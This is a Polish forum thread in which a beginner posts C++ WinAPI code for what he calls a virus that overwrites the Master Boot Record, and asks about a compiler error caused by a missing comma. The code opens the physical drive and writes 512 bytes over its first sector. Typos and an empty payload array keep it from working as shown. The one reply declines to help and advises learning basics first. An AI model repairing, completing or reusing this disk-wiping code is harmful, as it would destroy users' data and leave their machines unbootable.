Oczekiwano znaku ")"

0

Witam, mam taki kod:

#include <Windows.h>
#include <iostream>
#define NTDDI_WIN10

const unsigned char MasterBootRecord[] = {};

using namespace std;

int CALLBACK WinMain
(
	HINSTANCE hInstance, HINSTANCE hPrveInstance
----> LPSTR	  lpCmdLine, int	  nCmdShow
)
{
	DWORD dwytesWritten;
	HANDLE MBR = CreateFileW(
		L"\\\\.\\PsychicalDrive0", GENERIC_ALL,
		FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
		OPEN_EXISTING, NULL, NULL
	);
	if (WriteFile(MBR, MasterBootRecord, 512, &dwytesWritten, 0) == TRUE)
	{
		cout << "Master Boot Record has been over witten!" << endl;
		Sleep(5000);
		ExitProcess(0);
	}
	else
	{
		cout << "FAIL";
		Sleep(5000);
		ExitProcess(0);
	}

	CloseHandle(MBR);
	return EXIT_SUCCESS;
}

i to jest na razie tyle bo pisze wirusa który nadpisuje MBR'a i mam taki błąd że: Oczekiwano znaku ")" w miejscu oznaczonym strzałką. Nie wiem dokładnie gdzie mogło by brakować tego nawiasu. jestem początkujący więc dziękuje za wyrozumiałość

6

Może ktoś cię powinien sprowadzić na ziemię.
Jeśli masz problem z tak prostym błędem kompilacji, to jest oczywiste, że jesteś początkujący.
Problem polega na tym, że bierzesz się za temat, który cię przerasta: pisze wirusa który nadpisuje MBR'a.
Pokoduj najpierw prostsze rzeczy, jak hello world, prostą gierkę konsolową, jakieś zadania ze SPOJ, main.edu.pl, a jak to ci pójdzie dobrze to dopiero po tym zacznij myśleć o hackowaniu systemu.

Żeby było jasne, to jest jedynie drogowskaz, gdzie powinieneś skierować swoje wysiłki by uzyskać lepsze rezultaty nauki.

1 użytkowników online, w tym zalogowanych: 0, gości: 1